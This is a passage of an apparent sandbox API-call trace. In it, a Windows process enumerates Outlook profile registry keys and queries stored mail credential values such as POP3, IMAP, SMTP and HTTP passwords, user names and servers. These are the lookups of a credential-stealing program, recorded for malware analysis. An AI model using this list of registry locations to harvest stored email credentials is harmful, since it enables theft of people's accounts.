lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.069] RegCloseKey (hKey=0x368) returned 0x0 [0096.069] RegQueryValueExA (in: hKey=0x368, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.069] RegCloseKey (hKey=0x368) returned 0x0 [0096.069] RegQueryValueExA (in: hKey=0x368, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.069] RegCloseKey (hKey=0x368) returned 0x0 [0096.069] RegQueryValueExA (in: hKey=0x368, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.069] RegCloseKey (hKey=0x368) returned 0x0 [0096.069] RegQueryValueExA (in: hKey=0x368, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.069] RegCloseKey (hKey=0x368) returned 0x0 [0096.069] RegQueryValueExA (in: hKey=0x368, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.069] RegCloseKey (hKey=0x368) returned 0x0 [0096.070] RegQueryValueExA (in: hKey=0x368, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.070] RegCloseKey (hKey=0x368) returned 0x0 [0096.070] RegQueryValueExA (in: hKey=0x368, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.070] RegCloseKey (hKey=0x368) returned 0x0 [0096.070] RegQueryValueExA (in: hKey=0x368, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.070] RegCloseKey (hKey=0x368) returned 0x0 [0096.070] RegQueryValueExA (in: hKey=0x368, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54df368*=0x0) returned 0x2 [0096.070] RegCloseKey (hKey=0x368) returned 0x0 [0096.070] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x368) returned 0x0 [0096.070] RegQueryValueExA (in: hKey=0x368, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54df3b8, lpData=0x54df3b0, lpcbData=0x54df3c0*=0x4 | out: lpType=0x54df3b8*=0x0, lpData=0x54df3b0*=0x0, lpcbData=0x54df3c0*=0x4) returned 0x2 [0096.070] RegCloseKey (hKey=0x368) returned 0x0 [0096.070] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x368) returned 0x0 [0096.070] RegQueryValueExA (in: hKey=0x368, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54df3b8, lpData=0x54df3b0, lpcbData=0x54df3c0*=0x4 | out: lpType=0x54df3b8*=0x0, lpData=0x54df3b0*=0x0, lpcbData=0x54df3c0*=0x4) returned 0x2 [0096.070] RegCloseKey (hKey=0x368) returned 0x0 [0096.070] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook", ulOptions=0x0, samDesired=0x101, phkResult=0x54df3c8 | out: phkResult=0x54df3c8*=0x368) returned 0x0 [0096.070] RegQueryValueExA (in: hKey=0x368, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54df3b8, lpData=0x54df3b0, lpcbData=0x54df3c0*=0x4 | out: lpType=0x54df3b8*=0x0, lpData=0x54df3b0*=0x0, lpcbData=0x54df3c0*=0x4) returned 0x2 [0096.070] RegCloseKey (hKey=0x368) returned 0x0 [0096.070] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook", phkResult=0x54df500 | out: phkResult=0x54df500*=0x368) returned 0x0 [0096.070] RegEnumKeyExA (in: hKey=0x368, dwIndex=0x0, lpName=0x54df510, lpcchName=0x54dfd38, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0a0d020000000000c000000000000046", lpcchName=0x54dfd38, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0096.071] lstrlenA (lpString="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook") returned 55 [0096.071] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x28e7670 [0096.071] wsprintfA (in: param_1=0x28e7670, param_2="%s\\%s" | out: param_1="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046") returned 88 [0096.071] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.071] RegQueryValueExA (in: hKey=0x5d0, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.071] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.071] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.071] RegQueryValueExA (in: hKey=0x5d0, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.071] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.071] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.071] RegQueryValueExA (in: hKey=0x5d0, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.071] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.071] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.071] RegQueryValueExA (in: hKey=0x5d0, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.071] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.071] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.072] RegQueryValueExA (in: hKey=0x5d0, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.072] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.072] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.072] RegQueryValueExA (in: hKey=0x5d0, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.072] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.072] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.072] RegQueryValueExA (in: hKey=0x5d0, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.072] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.072] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.072] RegQueryValueExA (in: hKey=0x5d0, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.072] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.072] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.072] RegQueryValueExA (in: hKey=0x5d0, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.072] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.072] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.072] RegQueryValueExA (in: hKey=0x5d0, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.073] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.073] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.073] RegQueryValueExA (in: hKey=0x5d0, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.073] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.073] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.073] RegQueryValueExA (in: hKey=0x5d0, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.073] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.073] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.073] RegQueryValueExA (in: hKey=0x5d0, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.073] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.073] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.073] RegQueryValueExA (in: hKey=0x5d0, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.073] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.073] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.073] RegQueryValueExA (in: hKey=0x5d0, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.073] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.073] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.074] RegQueryValueExA (in: hKey=0x5d0, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.074] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.074] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.074] RegQueryValueExA (in: hKey=0x5d0, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.074] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.074] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.074] RegQueryValueExA (in: hKey=0x5d0, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.074] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.074] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.074] RegQueryValueExA (in: hKey=0x5d0, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.074] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.074] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.074] RegQueryValueExA (in: hKey=0x5d0, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.074] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.074] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.074] RegQueryValueExA (in: hKey=0x5d0, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.074] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.075] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.075] RegQueryValueExA (in: hKey=0x5d0, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.075] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.075] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.075] RegQueryValueExA (in: hKey=0x5d0, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.075] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.075] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.075] RegQueryValueExA (in: hKey=0x5d0, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.075] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.075] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.075] RegQueryValueExA (in: hKey=0x5d0, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.075] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.075] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.075] RegQueryValueExA (in: hKey=0x5d0, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.075] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.075] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.076] RegQueryValueExA (in: hKey=0x5d0, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.076] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.076] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.076] RegQueryValueExA (in: hKey=0x5d0, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.076] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.076] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x5d0) returned 0x0 [0096.076] RegQueryValueExA (in: hKey=0x5d0, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.076] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.076] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x5d0) returned 0x0 [0096.076] RegQueryValueExA (in: hKey=0x5d0, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.076] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.076] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x5d0) returned 0x0 [0096.076] RegQueryValueExA (in: hKey=0x5d0, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.076] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.076] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.076] RegQueryValueExA (in: hKey=0x5d0, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.076] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.077] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.077] RegQueryValueExA (in: hKey=0x5d0, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.077] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.077] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.077] RegQueryValueExA (in: hKey=0x5d0, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.077] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.077] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.077] RegQueryValueExA (in: hKey=0x5d0, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.077] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.077] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.077] RegQueryValueExA (in: hKey=0x5d0, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.077] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.077] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.077] RegQueryValueExA (in: hKey=0x5d0, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.077] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.077] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\0a0d020000000000c000000000000046", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x5d0) returned 0x0 [0096.077] RegQueryValueExA (in: hKey=0x5d0, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.077] RegCloseKey (hKey=0x5d0) returned 0x0 [0096.077] RegOpenKeyExA (in: hKey=0xffffffff80000001, 